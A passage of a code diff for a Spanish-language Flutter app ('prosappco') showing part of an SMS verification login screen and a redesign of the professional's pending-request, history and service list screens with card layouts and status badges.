// Navigator.push(
// context,
// CupertinoPageRoute(
// builder: (context) =>
// OtpAuthScreen(phoneNumber: phoneNumber),
// ),
// );
// } else {}
// },
// child: const Text('Enviar código'),
// ),
TextButton(
onPressed: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) =>
const SignScreen(initialIndex: 0),
),
);
},
child: Text(
'Inicia sesión con tu correo electrónico',
style: TextStyle(
fontSize: width * 0.04,
),
),
),
RichText(
text: TextSpan(
style: const TextStyle(
fontSize: 16.0,
color: Color(0xFF65676B),
fontFamily: 'Poppins',
),
children: [
const TextSpan(text: '¿No estás registrado? '),
TextSpan(
text: 'Regístrate',
style: TextStyle(
fontSize: width * 0.04,
color: Colors.blue,
fontWeight: FontWeight.w600,
),
recognizer: TapGestureRecognizer()
..onTap = () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) =>
SignScreen(initialIndex: 1),
),
);
},
),
],
),
),
],
),
),
],
),
),
),
)
],
);
},
),
);
}
Widget _buildHero() {
return Column(
children: [
Image.asset('images/logo_prosapp.png', width: 180),
const SizedBox(height: 12),
const Text(
'Conecta con los mejores profesionales',
textAlign: TextAlign.center,
style: TextStyle(
color: Colors.white,
fontSize: 15,
fontWeight: FontWeight.w400,
letterSpacing: 0.3,
),
),
],
);
}
Widget _buildPhoneSection(AuthState state) {
return Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
const Text(
'Iniciar sesión',
style: TextStyle(fontSize: 24, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
),
const SizedBox(height: 6),
const Text(
'Ingresa tu número para recibir un código de verificación',
style: TextStyle(color: Colors.grey, fontSize: 13),
),
const SizedBox(height: 24),
IntlPhoneField(
initialCountryCode: 'CO',
keyboardType: TextInputType.number,
inputFormatters: [FilteringTextInputFormatter.digitsOnly],
onChanged: (phone) => _phone = phone.completeNumber,
decoration: InputDecoration(
hintText: 'Número de celular',
filled: true,
fillColor: const Color(0xFFF5F8FF),
border: OutlineInputBorder(
borderRadius: BorderRadius.circular(12),
borderSide: BorderSide.none,
),
enabledBorder: OutlineInputBorder(
borderRadius: BorderRadius.circular(12),
borderSide: const BorderSide(color: Color(0xFFE0E7FF), width: 1.5),
),
focusedBorder: OutlineInputBorder(
borderRadius: BorderRadius.circular(12),
borderSide: const BorderSide(color: Color(0xFF42A4EF), width: 2),
),
),
),
const SizedBox(height: 8),
const Text(
'Te enviaremos un SMS con tu código. Máx 160 caracteres.',
style: TextStyle(color: Colors.grey, fontSize: 11),
),
const SizedBox(height: 24),
if (state is AuthStateProcess)
const Center(child: CircularProgressIndicator())
else
SizedBox(
width: double.infinity,
child: ElevatedButton(
onPressed: _sendCode,
style: ElevatedButton.styleFrom(
backgroundColor: const Color(0xFF42A4EF),
foregroundColor: Colors.white,
padding: const EdgeInsets.symmetric(vertical: 16),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
elevation: 0,
),
child: const Text('Enviar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
),
),
const SizedBox(height: 24),
Row(
children: const [
Expanded(child: Divider()),
Padding(
padding: EdgeInsets.symmetric(horizontal: 12),
child: Text('o', style: TextStyle(color: Colors.grey)),
),
Expanded(child: Divider()),
],
),
const SizedBox(height: 16),
SizedBox(
width: double.infinity,
child: OutlinedButton(
onPressed: () => Navigator.push(
context,
MaterialPageRoute(builder: (_) => const SignScreen(initialIndex: 0)),
),
style: OutlinedButton.styleFrom(
padding: const EdgeInsets.symmetric(vertical: 14),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
side: const BorderSide(color: Color(0xFF42A4EF)),
),
child: const Text('Iniciar sesión con email', style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600)),
),
),
const SizedBox(height: 12),
Center(
child: TextButton(
onPressed: () => Navigator.push(
context,
MaterialPageRoute(builder: (_) => const SignScreen(initialIndex: 1)),
),
child: RichText(
text: const TextSpan(
style: TextStyle(color: Colors.grey, fontSize: 14),
children: [
TextSpan(text: '¿No tienes cuenta? '),
TextSpan(
text: 'Regístrate',
style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600),
),
],
),
),
),
),
],
);
}
Widget _buildOtpSection(AuthState state) {
return Column(
crossAxisAlignment: CrossAxisAlignment.center,
children: [
const Icon(Icons.sms_outlined, size: 48, color: Color(0xFF42A4EF)),
const SizedBox(height: 12),
const Text(
'Código de verificación',
style: TextStyle(fontSize: 22, fontWeight: FontWeight.bold, color: Color(0xFF1A1A2E)),
),
const SizedBox(height: 8),
Text(
'Enviamos un código a\n${_phone ?? ''}',
textAlign: TextAlign.center,
style: const TextStyle(color: Colors.grey, fontSize: 14),
),
const SizedBox(height: 32),
OtpTextField(
numberOfFields: 6,
borderColor: const Color(0xFFE0E7FF),
focusedBorderColor: const Color(0xFF42A4EF),
showFieldAsBox: true,
fieldWidth: 46,
borderRadius: BorderRadius.circular(10),
textStyle: const TextStyle(fontSize: 20, fontWeight: FontWeight.bold),
onCodeChanged: (code) => _otpCode = code,
onSubmit: (code) => authBloc.add(AuthEventVerifyOAuth(code: code)),
),
const SizedBox(height: 32),
if (state is AuthStateProcess)
const CircularProgressIndicator()
else
SizedBox(
width: double.infinity,
child: ElevatedButton(
onPressed: () {
if (_otpCode.length == 6) {
authBloc.add(AuthEventVerifyOAuth(code: _otpCode));
}
},
style: ElevatedButton.styleFrom(
backgroundColor: const Color(0xFF42A4EF),
foregroundColor: Colors.white,
padding: const EdgeInsets.symmetric(vertical: 16),
shape: RoundedRectangleBorder(borderRadius: BorderRadius.circular(12)),
elevation: 0,
),
child: const Text('Verificar código', style: TextStyle(fontSize: 16, fontWeight: FontWeight.w600)),
),
),
const SizedBox(height: 20),
_resendSeconds > 0
? Text(
'Reenviar en $_resendSeconds s',
style: const TextStyle(color: Colors.grey, fontSize: 13),
)
: TextButton(
onPressed: _sendCode,
child: const Text('Reenviar código', style: TextStyle(color: Color(0xFF42A4EF), fontWeight: FontWeight.w600)),
),
const SizedBox(height: 8),
TextButton(
onPressed: () => setState(() { _codeSent = false; _otpCode = ''; }),
child: const Text('← Cambiar número', style: TextStyle(color: Colors.grey, fontSize: 13)),
),
],
);
}
}
@@ -1,5 +1,3 @@
import 'package:user_repository/user_repository.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -10,6 +8,20 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/professional_service_screen.dart';
import 'package:service_repository/service_repository.dart';
import 'package:shimmer/shimmer.dart';
import 'package:user_repository/user_repository.dart';
const _kPrimary = Color(0xFF1565C0);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadowSm => isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class ProfessionalPendingServiceListScreen extends StatefulWidget {
const ProfessionalPendingServiceListScreen({super.key});
@@ -26,10 +38,9 @@ class _ProfessionalPendingServiceListScreenState
@override
void initState() {
super.initState();
serviceBloc = Injector.appInstance.get<ServiceBloc>();
serviceBloc.add(LoadPendingServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
serviceBloc.add(
LoadPendingServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
}
@override
@@ -37,180 +48,247 @@ class _ProfessionalPendingServiceListScreenState
return BlocProvider<ServiceBloc>(
create: (context) => serviceBloc,
child: Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Solicitudes'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
body: BlocBuilder<ServiceBloc, ServiceState>(
builder: (context, serviceState) {
if (serviceState is ServicesForUserLoaded) {
return serviceState.services.isEmpty
? const Center(
child: Text('No tienes solicitudes'),
)
: ListView.builder(
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final serviceInfo = serviceState.services[index];
final user = serviceInfo.user;
final service = serviceInfo.service;
return Container(
decoration: BoxDecoration(
border: Border(
bottom: BorderSide(
color: Colors.grey.withOpacity(0.2)),
),
),
child: ListTile(
onTap: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) =>
ProfessionalServiceScreen(
serviceId: service.id!,
),
),
);
},
leading: Container(
width: 60,
height: 60,
decoration: BoxDecoration(
color: Colors.grey.shade300,
shape: BoxShape.circle,
image: user.picture == null
? null
: DecorationImage(
image: NetworkImage(user.picture!),
fit: BoxFit.contain,
),
),
child: user.picture == null
? Icon(
CupertinoIcons.person,
color: Colors.grey.shade400,
size: 40,
)
: null,
),
title: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Flexible(
child: Text(
'${user.name}',
overflow: TextOverflow.ellipsis,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
const SizedBox(width: 5),
Text(
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
style: TextStyle(
color: Colors.grey[600],
),
),
],
),
subtitle: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
const Text(
'Estado:',
style: TextStyle(
fontStyle: FontStyle.italic,
),
),
const SizedBox(width: 5),
customStatus(service),
],
),
service.description.isEmpty
? Container()
: Text(
'"${service.description.trim()}"',
overflow: TextOverflow.ellipsis,
),
],
),
),
);
},
);
if (serviceState.services.isEmpty) return _emptyState(context);
return ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: serviceState.services.length,
itemBuilder: (_, index) =>
_RequestCard(info: serviceState.services[index]),
);
}
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
itemCount: 10,
itemBuilder: (_, __) => ListTile(
leading: CircleAvatar(
backgroundColor: Colors.grey[300],
radius: 30,
),
title: Container(
height: 20,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
subtitle: Container(
height: 15,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
),
),
);
return _shimmerList();
},
),
),
);
}
Container customStatus(ServiceEntity service) {
if (service.status == ServiceStatus.pending) {
return itemStatus(Colors.black54, 'Pendiente');
}
if (service.status == ServiceStatus.acepted) {
return itemStatus(Colors.green, 'Aceptado');
}
if (service.status == ServiceStatus.active) {
return itemStatus(Colors.blueAccent, 'Activo');
}
return itemStatus(Colors.red, 'Cancelado');
Widget _emptyState(BuildContext context) {
return Center(
child: Padding(
padding: const EdgeInsets.all(32),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Container(
width: 72,
height: 72,
decoration: BoxDecoration(
color: context.subtle.withOpacity(0.1), shape: BoxShape.circle),
child:
Icon(Icons.inbox_outlined, size: 36, color: context.subtle),
),
const SizedBox(height: 16),
Text('Sin solicitudes pendientes',
style: TextStyle(
fontSize: 16,
fontWeight: FontWeight.w700,
color: context.muted)),
const SizedBox(height: 6),
Text('Cuando un cliente solicite tus servicios\naparecerá aquí.',
textAlign: TextAlign.center,
style: TextStyle(
fontSize: 13, color: context.subtle, height: 1.5)),
]),
),
);
}
Container itemStatus(Color color, String text) {
return Container(
padding: const EdgeInsets.symmetric(
horizontal: 8,
vertical: 3,
),
decoration: BoxDecoration(
color: color,
borderRadius: BorderRadius.circular(8),
),
child: Text(
text,
style: const TextStyle(
fontStyle: FontStyle.italic,
color: Colors.white,
Widget _shimmerList() {
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: 8,
itemBuilder: (_, __) => Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
height: 84,
decoration: BoxDecoration(
color: Colors.white, borderRadius: BorderRadius.circular(14)),
),
),
);
}
}
// pending - 0
// acepted - 1
// active - 2
// cancelled - 3
// completed - 4
class _RequestCard extends StatelessWidget {
final ServiceInfoUI info;
const _RequestCard({required this.info});
@override
Widget build(BuildContext context) {
final service = info.service;
final user = info.user;
final si = _statusInfo(service.status);
final dateStr = DateFormat('dd MMM yyyy', 'es')
.format(DateTime.parse(service.day));
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
return Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
decoration: BoxDecoration(
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 10,
offset: const Offset(0, 2))
],
),
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: () => Navigator.push(
context,
CupertinoPageRoute(
builder: (_) =>
ProfessionalServiceScreen(serviceId: service.id!)),
),
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: si.color),
Padding(
padding: const EdgeInsets.all(12),
child: Container(
width: 50,
height: 50,
decoration: BoxDecoration(
shape: BoxShape.circle,
border: Border.all(
color: si.color.withOpacity(0.35), width: 2)),
child: ClipOval(
child: (user.picture == null || user.picture!.isEmpty)
? Container(
color: _kPrimary.withOpacity(0.1),
child: Center(
child: Text(
user.name?.isNotEmpty == true
? user.name![0].toUpperCase()
: '?',
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w700,
color: _kPrimary),
),
),
)
: Image.network(user.picture!, fit: BoxFit.cover),
),
),
),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(vertical: 12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(user.name ?? '',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: context.onSurface)),
if (service.description.isNotEmpty) ...[
const SizedBox(height: 2),
Text('"${service.description}"',
style: TextStyle(
fontSize: 12,
color: context.muted,
fontStyle: FontStyle.italic),
maxLines: 1,
overflow: TextOverflow.ellipsis),
],
const SizedBox(height: 5),
Row(children: [
Icon(Icons.calendar_today_outlined,
size: 11, color: context.subtle),
const SizedBox(width: 4),
Text('$dateStr · $timeStr',
style: TextStyle(
fontSize: 11,
color: context.muted,
fontWeight: FontWeight.w500)),
]),
],
),
),
),
Padding(
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.end,
children: [
_StatusBadge(si: si),
const SizedBox(height: 6),
Icon(Icons.chevron_right, size: 18, color: context.subtle),
],
),
),
]),
),
),
),
);
}
}
class _StatusBadge extends StatelessWidget {
final _StatusInfo si;
const _StatusBadge({required this.si});
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: si.color.withOpacity(0.1),
borderRadius: BorderRadius.circular(20),
border: Border.all(color: si.color.withOpacity(0.3)),
),
child: Row(mainAxisSize: MainAxisSize.min, children: [
Icon(si.icon, size: 10, color: si.color),
const SizedBox(width: 4),
Text(si.label,
style: TextStyle(
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
]),
);
}
}
class _StatusInfo {
final String label;
final Color color;
final IconData icon;
const _StatusInfo(this.label, this.color, this.icon);
}
_StatusInfo _statusInfo(ServiceStatus status) {
switch (status) {
case ServiceStatus.acepted:
return const _StatusInfo('Aceptado', Color(0xFF1565C0), Icons.check_circle_outline);
case ServiceStatus.active:
return const _StatusInfo('En curso', Color(0xFF16A34A), Icons.play_circle_outline);
case ServiceStatus.completed:
return const _StatusInfo('Completado', Color(0xFF64748B), Icons.task_alt_outlined);
case ServiceStatus.denied:
return const _StatusInfo('Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
case ServiceStatus.cancelled:
return const _StatusInfo('Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
case ServiceStatus.selfBooked:
return const _StatusInfo('Reservado', Color(0xFF7C3AED), Icons.bookmark_outline);
default:
return const _StatusInfo('Pendiente', Color(0xFFD97706), Icons.hourglass_top_outlined);
}
}
@@ -94,7 +94,7 @@ class _ProfessionalScoreListScreenState
),
const SizedBox(width: 5),
Text(
'${score.createdAt.toDate().day}/${score.createdAt.toDate().month}/${score.createdAt.toDate().year}',
'${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).day}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).month}/${(DateTime.tryParse(score.createdAt) ?? DateTime.now()).year}',
style: TextStyle(
color: Colors.grey[600],
),
@@ -1,5 +1,3 @@
import 'package:user_repository/user_repository.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/professional_service_screen.dart';
import 'package:service_repository/service_repository.dart';
import 'package:shimmer/shimmer.dart';
import 'package:user_repository/user_repository.dart';
const _kPrimary = Color(0xFF1565C0);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadowSm =>
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class ProfessionalServiceHistoryListScreen extends StatefulWidget {
const ProfessionalServiceHistoryListScreen({super.key});
@@ -26,9 +39,7 @@ class _ProfessionalServiceHistoryListScreenState
@override
void initState() {
super.initState();
serviceBloc = Injector.appInstance.get<ServiceBloc>();
serviceBloc.add(LoadServicesHistoryForProfessional(
ApiUserRepository.currentUserId ?? ''));
}
@@ -38,174 +49,248 @@ class _ProfessionalServiceHistoryListScreenState
return BlocProvider<ServiceBloc>(
create: (context) => serviceBloc,
child: Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Historial'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
body: BlocBuilder<ServiceBloc, ServiceState>(
builder: (context, serviceState) {
if (serviceState is ServicesForUserLoaded) {
return serviceState.services.isEmpty
? const Center(
child: Text('No tienes servicios'),
)
: ListView.builder(
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final serviceInfo = serviceState.services[index];
final user = serviceInfo.user;
final service = serviceInfo.service;
return Container(
decoration: BoxDecoration(
border: Border(
bottom: BorderSide(
color: Colors.grey.withOpacity(0.2)),
),
),
child: ListTile(
onTap: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) =>
ProfessionalServiceScreen(
serviceId: service.id!,
),
),
);
},
leading: Container(
width: 60,
height: 60,
decoration: BoxDecoration(
color: Colors.grey.shade300,
shape: BoxShape.circle,
image: user.picture == null
? null
: DecorationImage(
image: NetworkImage(user.picture!),
fit: BoxFit.contain,
),
),
child: user.picture == null
? Icon(
CupertinoIcons.person,
color: Colors.grey.shade400,
size: 40,
)
: null,
),
title: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Flexible(
child: Text(
'${user.name}',
overflow: TextOverflow.ellipsis,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
const SizedBox(width: 5),
Text(
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
style: TextStyle(
color: Colors.grey[600],
),
),
],
),
subtitle: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
const Text(
'Estado:',
style: TextStyle(
fontStyle: FontStyle.italic,
),
),
const SizedBox(width: 5),
customStatus(service),
],
),
service.description.isEmpty
? const SizedBox()
: Text(
'"${service.description.trim()}"',
overflow: TextOverflow.ellipsis,
),
],
),
),
);
},
);
if (serviceState.services.isEmpty) return _emptyState(context);
return ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final info = serviceState.services[index];
return _ServiceCard(
user: info.user,
service: info.service,
onTap: () => Navigator.push(
context,
CupertinoPageRoute(
builder: (_) => ProfessionalServiceScreen(
serviceId: info.service.id!)),
),
);
},
);
}
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
itemCount: 10,
itemBuilder: (_, __) => ListTile(
leading: CircleAvatar(
backgroundColor: Colors.grey[300],
radius: 30,
),
title: Container(
height: 20,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
subtitle: Container(
height: 15,
decoration: BoxDecoration(
color: Colors.grey.shade300,
borderRadius: BorderRadius.circular(8),
),
),
),
),
);
return _shimmerList();
},
),
),
);
}
}
Container customStatus(ServiceEntity service) {
if (service.status == ServiceStatus.completed) {
return itemStatus(Colors.blueAccent, 'Completado');
}
if (service.status == ServiceStatus.denied) {
return itemStatus(Colors.red, 'Rechazado');
}
Widget _emptyState(BuildContext context) {
final subtle = Theme.of(context).colorScheme.onSurface.withOpacity(0.35);
final muted = Theme.of(context).colorScheme.onSurface.withOpacity(0.55);
return Center(
child: Padding(
padding: const EdgeInsets.all(32),
child: Column(mainAxisSize: MainAxisSize.min, children: [
Container(
width: 72, height: 72,
decoration: BoxDecoration(
color: subtle.withOpacity(0.1), shape: BoxShape.circle),
child: Icon(Icons.history_outlined, size: 36, color: subtle),
),
const SizedBox(height: 16),
Text('Sin historial',
style: TextStyle(
fontSize: 16, fontWeight: FontWeight.w700, color: muted)),
const SizedBox(height: 6),
Text('Tus servicios completados aparecerán aquí.',
textAlign: TextAlign.center,
style: TextStyle(fontSize: 13, color: subtle, height: 1.5)),
]),
),
);
}
return itemStatus(Colors.red, 'Cancelado');
}
Widget _shimmerList() {
return Shimmer.fromColors(
baseColor: Colors.grey[300]!,
highlightColor: Colors.grey[100]!,
child: ListView.builder(
padding: const EdgeInsets.symmetric(vertical: 12),
itemCount: 8,
itemBuilder: (_, __) => Container(
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
height: 84,
decoration: BoxDecoration(
color: Colors.white, borderRadius: BorderRadius.circular(14)),
),
),
);
}
class _ServiceCard extends StatelessWidget {
final MyUser user;
final ServiceEntity service;
final VoidCallback onTap;
const _ServiceCard(
{required this.user, required this.service, required this.onTap});
@override
Widget build(BuildContext context) {
final si = _statusInfo(service.status);
final dateStr =
DateFormat('dd MMM yyyy', 'es').format(DateTime.parse(service.day));
final timeStr = ScheduleEntity.getFormatTime(service.range1Hour1) ?? '';
Container itemStatus(Color color, String text) {
return Container(
padding: const EdgeInsets.symmetric(
horizontal: 8,
vertical: 3,
),
margin: const EdgeInsets.symmetric(horizontal: 16, vertical: 6),
decoration: BoxDecoration(
color: color,
borderRadius: BorderRadius.circular(8),
color: context.card,
borderRadius: BorderRadius.circular(14),
boxShadow: [
BoxShadow(
color: context.shadowSm,
blurRadius: 10,
offset: const Offset(0, 2))
],
),
child: Text(
text,
style: const TextStyle(
fontStyle: FontStyle.italic,
color: Colors.white,
child: ClipRRect(
borderRadius: BorderRadius.circular(14),
child: InkWell(
onTap: onTap,
child: IntrinsicHeight(
child: Row(children: [
Container(width: 4, color: si.color),
Padding(
padding: const EdgeInsets.all(12),
child: Container(
width: 50, height: 50,
decoration: BoxDecoration(
shape: BoxShape.circle,
border: Border.all(
color: si.color.withOpacity(0.35), width: 2)),
child: ClipOval(
child: (user.picture == null || user.picture!.isEmpty)
? Container(
color: _kPrimary.withOpacity(0.1),
child: Center(
child: Text(
user.name?.isNotEmpty == true
? user.name![0].toUpperCase()
: '?',
style: const TextStyle(
fontSize: 18,
fontWeight: FontWeight.w700,
color: _kPrimary),
),
),
)
: Image.network(user.picture!, fit: BoxFit.cover),
),
),
),
Expanded(
child: Padding(
padding: const EdgeInsets.symmetric(vertical: 12),
child: Column(
crossAxisAlignment: CrossAxisAlignment.start,
mainAxisAlignment: MainAxisAlignment.center,
children: [
Text(user.name ?? '',
style: TextStyle(
fontSize: 14,
fontWeight: FontWeight.w700,
color: context.onSurface)),
if (service.description.isNotEmpty) ...[
const SizedBox(height: 2),
Text('"${service.description}"',
style: TextStyle(
fontSize: 12,
color: context.muted,
fontStyle: FontStyle.italic),
maxLines: 1,
overflow: TextOverflow.ellipsis),
],
const SizedBox(height: 5),
Row(children: [
Icon(Icons.calendar_today_outlined,
size: 11, color: context.subtle),
const SizedBox(width: 4),
Text('$dateStr · $timeStr',
style: TextStyle(
fontSize: 11,
color: context.muted,
fontWeight: FontWeight.w500)),
]),
],
),
),
),
Padding(
padding: const EdgeInsets.fromLTRB(8, 12, 12, 12),
child: Column(
mainAxisAlignment: MainAxisAlignment.center,
crossAxisAlignment: CrossAxisAlignment.end,
children: [
_StatusBadge(si: si),
const SizedBox(height: 6),
Icon(Icons.chevron_right, size: 18, color: context.subtle),
],
),
),
]),
),
),
),
);
}
}
class _StatusBadge extends StatelessWidget {
final _StatusInfo si;
const _StatusBadge({required this.si});
@override
Widget build(BuildContext context) {
return Container(
padding: const EdgeInsets.symmetric(horizontal: 8, vertical: 4),
decoration: BoxDecoration(
color: si.color.withOpacity(0.1),
borderRadius: BorderRadius.circular(20),
border: Border.all(color: si.color.withOpacity(0.3)),
),
child: Row(mainAxisSize: MainAxisSize.min, children: [
Icon(si.icon, size: 10, color: si.color),
const SizedBox(width: 4),
Text(si.label,
style: TextStyle(
fontSize: 10, fontWeight: FontWeight.w700, color: si.color)),
]),
);
}
}
class _StatusInfo {
final String label;
final Color color;
final IconData icon;
const _StatusInfo(this.label, this.color, this.icon);
}
_StatusInfo _statusInfo(ServiceStatus status) {
switch (status) {
case ServiceStatus.completed:
return const _StatusInfo(
'Completado', Color(0xFF64748B), Icons.task_alt_outlined);
case ServiceStatus.denied:
return const _StatusInfo(
'Rechazado', Color(0xFFDC2626), Icons.cancel_outlined);
case ServiceStatus.cancelled:
return const _StatusInfo(
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
default:
return const _StatusInfo(
'Cancelado', Color(0xFF9CA3AF), Icons.remove_circle_outline);
}
}
@@ -1,5 +1,3 @@
import 'package:user_repository/user_repository.dart';
import 'package:flutter/cupertino.dart';
import 'package:flutter/material.dart';
import 'package:flutter_bloc/flutter_bloc.dart';
@@ -10,6 +8,21 @@ import 'package:prosappco/blocs/service_bloc/service_bloc.dart';
import 'package:prosappco/screens/service/professional_service_screen.dart';
import 'package:service_repository/service_repository.dart';
import 'package:shimmer/shimmer.dart';
import 'package:user_repository/user_repository.dart';
const _kPrimary = Color(0xFF1565C0);
extension _Th on BuildContext {
ThemeData get _t => Theme.of(this);
Color get bg => _t.scaffoldBackgroundColor;
Color get card => _t.cardColor;
Color get onSurface => _t.colorScheme.onSurface;
Color get muted => _t.colorScheme.onSurface.withOpacity(0.55);
Color get subtle => _t.colorScheme.onSurface.withOpacity(0.35);
bool get isDark => _t.brightness == Brightness.dark;
Color get shadowSm =>
isDark ? Colors.transparent : Colors.black.withOpacity(0.04);
}
class ProfessionalServiceListScreen extends StatefulWidget {
const ProfessionalServiceListScreen({super.key});
@@ -26,10 +39,9 @@ class _ProfessionalServiceListScreenState
@override
void initState() {
super.initState();
serviceBloc = Injector.appInstance.get<ServiceBloc>();
serviceBloc.add(LoadServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
serviceBloc.add(
LoadServicesForProfessional(ApiUserRepository.currentUserId ?? ''));
}
@override
@@ -37,183 +49,257 @@ class _ProfessionalServiceListScreenState
return BlocProvider<ServiceBloc>(
create: (context) => serviceBloc,
child: Scaffold(
backgroundColor: context.bg,
appBar: AppBar(
title: const Text('Mis servicios'),
backgroundColor: _kPrimary,
foregroundColor: Colors.white,
elevation: 0,
),
body: BlocBuilder<ServiceBloc, ServiceState>(
builder: (context, serviceState) {
if (serviceState is ServicesForUserLoaded) {
return serviceState.services.isEmpty
? const Center(
child: Text('No tienes servicios'),
)
: ListView.builder(
itemCount: serviceState.services.length,
itemBuilder: (_, index) {
final serviceInfo = serviceState.services[index];
final user = serviceInfo.user;
final service = serviceInfo.service;
return Container(
decoration: BoxDecoration(
border: Border(
bottom: BorderSide(
color: Colors.grey.withOpacity(0.2)),
),
),
child: ListTile(
onTap: () {
Navigator.push(
context,
CupertinoPageRoute(
builder: (context) =>
ProfessionalServiceScreen(
serviceId: service.id!,
),
),
);
},
leading: Container(
width: 60,
height: 60,
decoration: BoxDecoration(
color: Colors.grey.shade300,
shape: BoxShape.circle,
image: user.picture == null
? null
: DecorationImage(
image: NetworkImage(user.picture!),
fit: BoxFit.contain,
),
),
child: user.picture == null
? Icon(
CupertinoIcons.person,
color: Colors.grey.shade400,
size: 40,
)
: null,
),
title: Row(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Flexible(
child: Text(
'${user.name}',
overflow: TextOverflow.ellipsis,
style: const TextStyle(
fontWeight: FontWeight.bold,
),
),
),
const SizedBox(width: 5),
Text(
'${DateFormat('dd MMMM', 'es').format(DateTime.parse(service.day))} - ${ScheduleEntity.getFormatTime(service.range1Hour1)}',
style: TextStyle(
color: Colors.grey[600],
),
),
],
),
subtitle: Column(
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Row(
children: [
const Text(
'Estado:',
style: TextStyle(
fontStyle: FontStyle.italic,
),
),
const SizedBox(width: 5),
customStatus(service),
],
),
service.description.isEmpty
? Container()
: Text(
'"${service.description.trim()}"',
overflow: TextOverflow.ellipsis,
),
],
),
),
);
